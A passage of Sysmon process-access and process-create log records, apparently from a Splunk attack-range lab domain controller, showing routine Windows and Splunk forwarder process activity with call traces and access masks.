12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6637,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6638,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6639,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6640,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.854\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-423C-5F2D-0000-001078800900}\r\nTargetProcessId: 3140\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.854","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-423C-5F2D-0000-001078800900}","TargetProcessId":"3140","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6641,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.869\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4267-5F2D-0000-0010C8420A00}\r\nTargetProcessId: 4440\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.869","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4267-5F2D-0000-0010C8420A00}","TargetProcessId":"4440","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6642,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.869\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4267-5F2D-0000-0010C8420A00}\r\nTargetProcessId: 4440\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.869","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4267-5F2D-0000-0010C8420A00}","TargetProcessId":"4440","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6643,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4267-5F2D-0000-0010C8420A00}\r\nTargetProcessId: 4440\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4267-5F2D-0000-0010C8420A00}","TargetProcessId":"4440","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6644,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.041\r\nSourceProcessGUID: {90617006-4267-5F2D-0000-0010EA410A00}\r\nSourceProcessId: 3140\r\nSourceThreadId: 3164\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.041","SourceProcessGUID":"{90617006-4267-5F2D-0000-0010EA410A00}","SourceProcessId":"3140","SourceThreadId":"3164","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6645,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.526\r\nProcessGuid: {90617006-4268-5F2D-0000-0010A9480A00}\r\nProcessId: 3204\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.526","ProcessGuid":"{90617006-4268-5F2D-0000-0010A9480A00}","Image":"C:\\Program 